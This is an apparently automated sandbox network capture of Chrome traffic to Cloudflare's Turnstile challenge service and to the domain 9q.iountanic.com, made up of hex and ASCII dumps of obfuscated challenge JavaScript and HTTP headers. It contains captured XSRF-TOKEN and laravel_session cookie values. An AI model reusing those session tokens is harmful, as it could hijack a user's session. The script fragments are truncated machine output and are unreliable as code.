2024-10-11 13:53:49 UTC	1369	IN	Data Raw: 4c 2c 67 38 5b 67 49 28 37 32 31 29 5d 3d 66 4b 2c 67 38 5b 67 49 28 35 33 38 29 5d 3d 66 4a 2c 67 38 5b 67 49 28 32 32 34 29 5d 3d 66 49 2c 67 38 5b 67 49 28 39 37 38 29 5d 3d 66 74 2c 67 38 5b 67 49 28 31 30 38 37 29 5d 3d 67 37 2c 67 38 5b 67 49 28 33 34 31 29 5d 3d 66 75 2c 67 38 5b 67 49 28 34 36 33 29 5d 3d 66 79 2c 67 38 5b 67 49 28 39 36 31 29 5d 3d 66 76 2c 67 38 5b 67 49 28 31 34 36 33 29 5d 3d 66 71 2c 67 38 5b 67 49 28 38 38 31 29 5d 3d 66 70 2c 65 4d 5b 67 49 28 34 38 36 29 5d 3d 67 38 2c 67 39 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 69 57 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 66 6f 72 28 69 57 3d 67 49 2c 67 3d 7b 7d 2c 67 5b 69 57 28 31 33 38 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 6e 2b 73 7d 2c 67 Data Ascii: L,g8[gI(721)]=fK,g8[gI(538)]=fJ,g8[gI(224)]=fI,g8[gI(978)]=ft,g8[gI(1087)]=g7,g8[gI(341)]=fu,g8[gI(463)]=fy,g8[gI(961)]=fv,g8[gI(1463)]=fq,g8[gI(881)]=fp,eM[gI(486)]=g8,g9=function(f,iW,g,h,i,j,k,l,m){for(iW=gI,g={},g[iW(1385)]=function(n,s){return n+s},g
2024-10-11 13:53:49 UTC	1369	IN	Data Raw: 3d 3d 68 7d 2c 27 57 4b 43 66 48 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 59 57 63 55 73 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 6e 70 76 48 63 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 73 55 6a 59 71 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 4a 65 67 4e 67 27 3a 69 59 28 31 35 31 31 29 2c 27 5a 72 76 41 4f 27 3a 69 59 28 35 35 30 29 2c 27 46 74 63 69 71 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 42 66 75 56 66 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 2a 68 7d 2c 27 67 6c 4d 4e 78 27 3a 66 75 6e Data Ascii: ==h},'WKCfH':function(h,i){return h<<i},'YWcUs':function(h,i){return i&h},'npvHc':function(h,i){return h-i},'sUjYq':function(h,i){return h-i},'JegNg':iY(1511),'ZrvAO':iY(550),'Ftciq':function(h,i){return h!=i},'BfuVf':function(h,i){return i*h},'glMNx':fun
2024-10-11 13:53:49 UTC	1369	IN	Data Raw: 64 5b 6a 30 28 37 35 33 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 6a 30 28 31 33 34 30 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 44 2d 2d 2c 64 5b 6a 30 28 32 31 36 29 5d 28 30 2c 44 29 26 26 28 44 3d 4d 61 74 68 5b 6a 30 28 31 35 35 35 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 64 65 6c 65 74 65 20 42 5b 43 5d 7d 65 6c 73 65 20 66 6f 72 28 4d 3d 78 5b 43 5d 2c 73 3d 30 3b 64 5b 6a 30 28 31 32 37 30 29 5d 28 73 2c 46 29 3b 48 3d 48 3c 3c 31 7c 64 5b 6a 30 28 36 34 30 29 5d 28 4d 2c 31 29 2c 49 3d 3d 64 5b 6a 30 28 38 38 35 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 6a 30 28 31 33 34 30 29 5d 28 64 5b 6a 30 28 33 33 31 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 43 Data Ascii: d[j0(753)](j,1)?(I=0,G[j0(1340)](o(H)),H=0):I++,M>>=1,s++);}D--,d[j0(216)](0,D)&&(D=Math[j0(1555)](2,F),F++),delete B[C]}else for(M=x[C],s=0;d[j0(1270)](s,F);H=H<<1\|d[j0(640)](M,1),I==d[j0(885)](j,1)?(I=0,G[j0(1340)](d[j0(331)](o,H)),H=0):I++,M>>=1,s++);C
2024-10-11 13:53:49 UTC	1369	IN	Data Raw: 29 5d 5b 31 5d 5b 6a 30 28 31 33 34 31 29 5d 28 74 68 69 73 2e 68 5b 64 5b 6a 30 28 31 33 30 31 29 5d 28 31 31 37 2c 74 68 69 73 2e 67 29 5d 5b 30 5d 2b 2b 29 2d 31 2c 32 35 36 29 26 32 35 35 29 5e 31 31 31 2e 36 35 5d 2c 4d 2b 2b 29 3b 66 6f 72 28 50 3d 64 5b 6a 30 28 31 33 30 31 29 5d 28 74 68 69 73 2e 68 5b 31 31 37 2e 37 36 5e 74 68 69 73 2e 67 5d 5b 33 5d 2c 64 5b 6a 30 28 37 32 35 29 5d 28 74 68 69 73 2e 68 5b 31 31 37 2e 39 37 5e 74 68 69 73 2e 67 5d 5b 31 5d 5b 6a 30 28 31 33 34 31 29 5d 28 74 68 69 73 2e 68 5b 31 31 37 5e 74 68 69 73 2e 67 5d 5b 30 5d 2b 2b 29 2d 31 2c 32 35 36 29 26 32 35 35 29 5e 31 33 33 2c 51 3d 27 27 2c 52 3d 30 3b 64 5b 6a 30 28 38 35 36 29 5d 28 53 2c 54 29 3b 56 2b 3d 57 5b 64 5b 6a 30 28 31 33 30 31 29 5d 28 74 68 69 73 Data Ascii: )][1][j0(1341)](this.h[d[j0(1301)](117,this.g)][0]++)-1,256)&255)^111.65],M++);for(P=d[j0(1301)](this.h[117.76^this.g][3],d[j0(725)](this.h[117.97^this.g][1][j0(1341)](this.h[117^this.g][0]++)-1,256)&255)^133,Q='',R=0;d[j0(856)](S,T);V+=W[d[j0(1301)](this

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.17	49720	104.18.94.41	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:49 UTC	795	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/mwmyp/0x4AAAAAAAhBMPdr3vMigrA3/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:53:49 UTC	240	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 13:53:49 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8d0f56acdf3e0cb4-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 13:53:49 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.17	49709	104.21.68.104	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:49 UTC	1317	OUT	GET /favicon.ico HTTP/1.1 Host: 9q.iountanic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9q.iountanic.com/4rGra/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkFqeGtBNmFyN2M5WlRkbkkzUnVuZWc9PSIsInZhbHVlIjoidmtDZEVzZ0l0ci9UbmNJNnVTdDRsYVFmRUpKUG95aDBVUVFMWGJOQXNiRi9RdGVmWGZtUG4xU2VWQ2ZTdDYyWkpQOVROOUIrd2RDT3lBK2JqVWtGbFJka1NWRmhUYjhZN2hCdkg3R0o3L1AveTQ5YUdYVGQ3UjRBcTVWTWk0MGEiLCJtYWMiOiJmZTEyMGM3NWJlZTVhMDAyNTMwNDlmNjY3YWZmMTVlM2QwNmZlZTE5MjIwYzZjOTMwZWNmMDE2YWUxM2IxZTFjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InI1OExZUE1jdWplemMzTU4wbzYxbnc9PSIsInZhbHVlIjoiNGtDTVN1Ui9wd05sMTZ3aWd5MEJyeXRDTi9CdDJSSm54NlNrZiszeTZ5dHlGWGd4NUwyQmdDbm1razBGYitMSmJRTFVuQWRmK2hML1BpVWdhaHFNS3A4SWxJYzM0NHh5NHVra2ZXS1N3OTRKcGNSemxTblh4aFZqMjZsVm5kNmEiLCJtYWMiOiI1NzAyZGZhN2IxMzUxN2JlYjVhYzBjMmRkZjRiODlmNjA0MGMxYzZkZGRiNWZmY2JhMTk3MWJkMjU4ZGQ2Y2MyIiwidGFnIjoiIn0%3D
2024-10-11 13:53:49 UTC	688	IN	HTTP/1.1 404 Not Found Date: Fri, 11 Oct 2024 13:53:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5xJ5G3j67gd9uRnLQr%2B9b1d%2FtkLoeQd%2BeM2Q9%2Fb5F4eI4n7FRSEiLgaTwq3bxzR9qCE%2F4KaAiZVQLQq1qANIt26%2BfP5j2iDFwSvMiE9W1eTJjR0RAt6FI3dg3GoNgA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Speculation-Rules: "/cdn-cgi/speculation" alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Age: 2052 Server: cloudflare CF-RAY: 8d0f56ada8c84239-EWR
2024-10-11 13:53:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.17	49722	104.18.94.41	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:50 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8d0f56a70cadc3ff&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-11 13:53:50 UTC	331	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 13:53:50 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 117017 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8d0f56b0aeed334e-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 13:53:50 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 54 74 59 6a 30 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.TtYj0={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.terms":"https%3A%2F
2024-10-11 13:53:50 UTC	1369	IN	Data Raw: 25 32 30 74 68 65 25 32 30 70 61 67 65 25 33 43 25 32 46 61 25 33 45 25 32 30 69 66 25 32 30 74 68 65 25 32 30 69 73 73 75 65 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 69 6e 76 61 6c 69 64 5f 64 6f 6d 61 69 6e 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 64 6f 6d 61 69 6e 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 6c 6f 6e 67 65 72 5f 74 68 61 6e 5f 65 78 70 65 63 74 65 64 22 3a 22 25 33 43 61 25 32 30 68 72 65 66 25 33 44 25 32 32 25 32 33 25 32 32 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 72 65 66 72 65 73 68 5f 6c 69 6e 6b 25 32 32 25 33 45 Data Ascii: %20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","invalid_domain":"Invalid%20domain.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","turnstile_longer_than_expected":"%3Ca%20href%3D%22%23%22%20class%3D%22refresh_link%22%3E
2024-10-11 13:53:50 UTC	1369	IN	Data Raw: 73 65 49 6e 74 28 67 48 28 31 33 34 33 29 29 2f 37 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 48 28 31 33 37 34 29 29 2f 38 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 48 28 36 35 32 29 29 2f 39 2a 28 70 61 72 73 65 49 6e 74 28 67 48 28 31 36 32 36 29 29 2f 31 30 29 2b 70 61 72 73 65 49 6e 74 28 67 48 28 37 34 38 29 29 2f 31 31 2c 64 3d 3d 3d 66 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 31 31 31 34 39 30 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 49 28 38 31 38 29 5d 2c 65 4f 3d 7b 7d 2c 65 4f 5b 67 49 28 31 35 38 39 29 5d 3d 27 6f 27 2c 65 4f 5b 67 49 28 31 33 31 37 29 5d 3d 27 73 27 2c 65 4f 5b 67 Data Ascii: seInt(gH(1343))/7(-parseInt(gH(1374))/8)+-parseInt(gH(652))/9(parseInt(gH(1626))/10)+parseInt(gH(748))/11,d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,111490),eM=this\|\|self,eN=eM[gI(818)],eO={},eO[gI(1589)]='o',eO[gI(1317)]='s',eO[g
2024-10-11 13:53:50 UTC	1369	IN	Data Raw: 33 32 29 5d 28 68 5b 6a 5b 6b 5d 5d 5b 6d 5d 29 26 26 28 69 5b 67 50 28 36 34 38 29 5d 28 65 55 2c 68 5b 6a 5b 6b 5d 5d 5b 6d 5d 29 7c 7c 67 5b 6c 5d 5b 67 50 28 35 39 31 29 5d 28 27 6f 2e 27 2b 68 5b 6a 5b 6b 5d 5d 5b 6d 5d 29 29 2c 6d 2b 2b 29 3b 7d 65 6c 73 65 20 67 5b 6c 5d 3d 68 5b 6a 5b 6b 5d 5d 5b 67 50 28 31 34 38 37 29 5d 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 27 6f 2e 27 2b 6e 7d 29 7d 2c 65 56 3d 66 75 6e 63 74 69 6f 6e 28 67 51 2c 64 2c 65 2c 66 2c 67 29 7b 72 65 74 75 72 6e 20 67 51 3d 67 49 2c 64 3d 7b 27 54 6b 71 74 47 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 4b 70 6c 67 58 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 74 4a 48 4d 7a 27 Data Ascii: 32)](h[j[k]][m])&&(i[gP(648)](eU,h[j[k]][m])\|\|g[l][gP(591)]('o.'+h[j[k]][m])),m++);}else g[l]=h[j[k]][gP(1487)](function(n){return'o.'+n})},eV=function(gQ,d,e,f,g){return gQ=gI,d={'TkqtG':function(h,i){return h>i},'KplgX':function(h,i){return h\|i},'tJHMz'
2024-10-11 13:53:50 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 65 42 6b 56 5a 27 3a 67 51 28 31 34 38 38 29 2c 27 52 56 79 47 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 52 75 44 41 79 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 44 4a 41 6a 43 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 54 48 4c 7a 77 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 50 59 74 4a 78 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 73 71 6d 66 50 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 55 52 76 7a 57 27 3a 66 75 6e 63 74 69 6f 6e Data Ascii: {return h!=i},'eBkVZ':gQ(1488),'RVyGL':function(h,i){return h*i},'RuDAy':function(h,i){return h(i)},'DJAjC':function(h,i){return i!=h},'THLzw':function(h,i){return h(i)},'PYtJx':function(h,i){return h!=i},'sqmfP':function(h,i){return h<i},'URvzW':function
2024-10-11 13:53:50 UTC	1369	IN	Data Raw: 67 53 28 31 35 34 33 29 5d 28 62 56 3c 3c 31 2e 35 39 2c 4f 29 2c 64 5b 67 53 28 39 32 38 29 5d 28 62 57 2c 64 5b 67 53 28 35 37 33 29 5d 28 62 58 2c 31 29 29 3f 28 62 59 3d 30 2c 62 5a 5b 67 53 28 35 39 31 29 5d 28 64 5b 67 53 28 35 38 38 29 5d 28 63 30 2c 63 31 29 29 2c 63 32 3d 30 29 3a 63 33 2b 2b 2c 4f 3d 30 2c 62 54 2b 2b 29 3b 66 6f 72 28 4f 3d 63 34 5b 67 53 28 31 30 34 32 29 5d 28 30 29 2c 63 35 3d 30 3b 31 36 3e 63 36 3b 63 38 3d 64 5b 67 53 28 35 36 34 29 5d 28 63 39 3c 3c 31 2e 32 35 2c 4f 26 31 2e 35 33 29 2c 64 5b 67 53 28 39 32 38 29 5d 28 63 61 2c 63 62 2d 31 29 3f 28 63 63 3d 30 2c 63 64 5b 67 53 28 35 39 31 29 5d 28 63 65 28 63 66 29 29 2c 63 67 3d 30 29 3a 63 68 2b 2b 2c 4f 3e 3e 3d 31 2c 63 37 2b 2b 29 3b 7d 62 68 2d 2d 2c 30 3d 3d 62 Data Ascii: gS(1543)](bV<<1.59,O),d[gS(928)](bW,d[gS(573)](bX,1))?(bY=0,bZ[gS(591)](d[gS(588)](c0,c1)),c2=0):c3++,O=0,bT++);for(O=c4[gS(1042)](0),c5=0;16>c6;c8=d[gS(564)](c9<<1.25,O&1.53),d[gS(928)](ca,cb-1)?(cc=0,cd[gS(591)](ce(cf)),cg=0):ch++,O>>=1,c7++);}bh--,0==b
2024-10-11 13:53:50 UTC	1369	IN	Data Raw: 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 67 53 28 31 30 34 32 29 5d 28 30 29 2c 73 3d 30 3b 38 3e 73 3b 48 3d 64 5b 67 53 28 39 36 33 29 5d 28 48 2c 31 29 7c 4d 26 31 2c 49 3d 3d 64 5b 67 53 28 31 35 34 38 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 67 53 28 35 39 31 29 5d 28 64 5b 67 53 28 31 35 33 37 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 7d 65 6c 73 65 7b 66 6f 72 28 4d 3d 31 2c 73 3d 30 3b 73 3c 46 3b 48 3d 64 5b 67 53 28 39 32 33 29 5d 28 48 3c 3c 31 2e 37 35 2c 4d 29 2c 6a 2d 31 3d 3d 49 3f 28 49 3d 30 2c 47 5b 67 53 28 35 39 31 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3d 30 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 67 53 28 31 30 34 Data Ascii: ](o,H)),H=0):I++,s++);for(M=C[gS(1042)](0),s=0;8>s;H=d[gS(963)](H,1)\|M&1,I==d[gS(1548)](j,1)?(I=0,G[gS(591)](d[gS(1537)](o,H)),H=0):I++,M>>=1,s++);}}else{for(M=1,s=0;s<F;H=d[gS(923)](H<<1.75,M),j-1==I?(I=0,G[gS(591)](o(H)),H=0):I++,M=0,s++);for(M=C[gS(104
2024-10-11 13:53:50 UTC	1369	IN	Data Raw: 26 26 28 48 3d 6a 2c 47 3d 64 5b 67 56 28 33 32 31 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 28 30 3c 4e 3f 31 3a 30 29 2a 46 2c 46 3c 3c 3d 31 29 3b 4f 3d 64 5b 67 56 28 33 32 31 29 5d 28 65 2c 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 67 56 28 31 36 30 38 29 5d 28 32 2c 31 36 29 2c 46 3d 31 3b 64 5b 67 56 28 31 36 34 33 29 5d 28 46 2c 4b 29 3b 4e 3d 48 26 47 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 64 5b 67 56 28 31 34 32 33 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 67 56 28 35 31 32 29 5d 28 30 3c 4e 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 4f 3d 65 28 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 27 27 7d 66 6f 72 28 45 3d 73 5b 33 5d 3d 4f 2c 44 5b 67 Data Ascii: &&(H=j,G=d[gV(321)](o,I++)),J\|=(0<N?1:0)*F,F<<=1);O=d[gV(321)](e,J);break;case 1:for(J=0,K=Math[gV(1608)](2,16),F=1;d[gV(1643)](F,K);N=H&G,H>>=1,0==H&&(H=j,G=d[gV(1423)](o,I++)),J\|=d[gV(512)](0<N?1:0,F),F<<=1);O=e(J);break;case 2:return''}for(E=s[3]=O,D[g
2024-10-11 13:53:50 UTC	1369	IN	Data Raw: 3c 66 2c 33 32 29 29 2c 65 4d 5b 68 6e 28 39 35 34 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 6f 29 7b 68 6f 3d 68 6e 2c 68 6f 28 31 33 30 30 29 3d 3d 3d 68 6f 28 36 35 39 29 3f 66 5b 68 6f 28 31 36 36 34 29 5d 5b 68 6f 28 31 36 38 38 29 5d 26 26 69 5b 65 5b 68 6f 28 37 38 35 29 5d 5d 5b 68 6f 28 31 36 38 38 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 68 6f 28 34 36 33 29 2c 27 77 69 64 67 65 74 49 64 27 3a 6a 5b 68 6f 28 35 37 32 29 5d 5b 68 6f 28 38 36 36 29 5d 2c 27 72 65 61 73 6f 6e 27 3a 65 5b 68 6f 28 33 35 34 29 5d 2c 27 65 76 65 6e 74 27 3a 68 6f 28 35 35 32 29 7d 2c 27 2a 27 29 3a 65 4d 5b 68 6f 28 31 36 36 34 29 5d 26 26 28 65 4d 5b 68 6f 28 31 34 38 36 29 5d 5b 68 6f 28 31 31 32 38 29 5d 28 29 2c 65 4d 5b 68 6f 28 31 34 38 36 29 5d 5b 68 6f 28 36 31 31 Data Ascii: <f,32)),eM[hn(954)](function(ho){ho=hn,ho(1300)===ho(659)?f[ho(1664)][ho(1688)]&&i[e[ho(785)]][ho(1688)]({'source':ho(463),'widgetId':j[ho(572)][ho(866)],'reason':e[ho(354)],'event':ho(552)},'*'):eM[ho(1664)]&&(eM[ho(1486)][ho(1128)](),eM[ho(1486)][ho(611
2024-10-11 13:53:50 UTC	1369	IN	Data Raw: 29 5d 29 2c 78 5b 68 70 28 31 36 31 32 29 5d 28 6b 5b 68 70 28 31 32 30 37 29 5d 28 6b 5b 68 70 28 38 36 31 29 5d 28 27 76 5f 27 2c 65 4d 5b 68 70 28 35 37 32 29 5d 5b 68 70 28 31 30 34 36 29 5d 29 2b 27 3d 27 2c 45 29 29 7d 63 61 74 63 68 28 46 29 7b 7d 7d 2c 65 4d 5b 67 49 28 31 31 35 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 66 2c 67 2c 68 2c 68 71 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 28 68 71 3d 67 49 2c 69 3d 7b 7d 2c 69 5b 68 71 28 31 32 39 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 2b 6f 7d 2c 69 5b 68 71 28 31 34 32 31 29 5d 3d 68 71 28 31 36 30 37 29 2c 69 5b 68 71 28 31 34 33 35 29 5d 3d 68 71 28 31 31 37 33 29 2c 69 5b 68 71 28 31 33 32 36 29 5d 3d 68 71 28 31 33 33 30 29 2c 69 5b 68 71 28 31 36 34 38 Data Ascii: )]),x[hp(1612)](k[hp(1207)](k[hp(861)]('v_',eM[hp(572)][hp(1046)])+'=',E))}catch(F){}},eM[gI(1153)]=function(d,e,f,g,h,hq,i,j,k,l,m){(hq=gI,i={},i[hq(1297)]=function(n,o){return n+o},i[hq(1421)]=hq(1607),i[hq(1435)]=hq(1173),i[hq(1326)]=hq(1330),i[hq(1648

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.17	49721	104.18.94.41	443	7136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 13:53:50 UTC	438	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
